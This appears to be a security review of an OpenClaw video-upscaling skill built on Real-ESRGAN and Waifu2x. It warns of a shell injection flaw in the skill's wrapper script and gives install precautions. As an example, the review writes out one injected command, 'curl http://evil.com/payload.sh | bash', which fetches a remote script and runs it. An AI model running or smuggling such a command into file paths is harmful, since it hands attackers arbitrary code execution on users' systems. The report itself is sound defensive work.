AI Video Upscale

AI-powered video upscaling with Real-ESRGAN and Waifu2x. Use when user asks to enhance, upscale, improve video quality, make HD/4K. Supports anime and real f...

This skill appears coherent with its purpose: it runs local upscaling tools (Real-ESRGAN / Waifu2x) via a wrapper script. Before installing or running: (1) verify the GitHub release URLs and checksums for the prebuilt binaries you download, (2) inspect and run the script in a controlled environment—it will extract many frames and can use lots of CPU/GPU, disk, and memory, (3) note the default cache path (~/.openclaw/cache/video-upscale) and the 5-minute max duration limit in the script (adjust if you expect longer inputs), and (4) ensure you trust the prebuilt binaries (they run as local executables). If you want additional assurance, build the upscalers from source or run them in an isolated container/VM.

Type: OpenClaw Skill Name: video-upscale Version: 1.4.0 The skill is classified as suspicious due to a critical shell injection vulnerability in `scripts/upscale_video.sh`. User-controlled inputs like `INPUT_PATH` and `OUTPUT_PATH` are directly used in `ffprobe` and `ffmpeg` commands without proper sanitization or quoting, allowing for arbitrary command execution (RCE). For example, a malicious `filepath` could execute `curl http://evil.com/payload.sh | bash`. The `SKILL.md` defines the interface that passes these potentially untrusted inputs to the script. Additionally, the script allows overriding paths to external tools via environment variables, which could be abused in a compromised environment.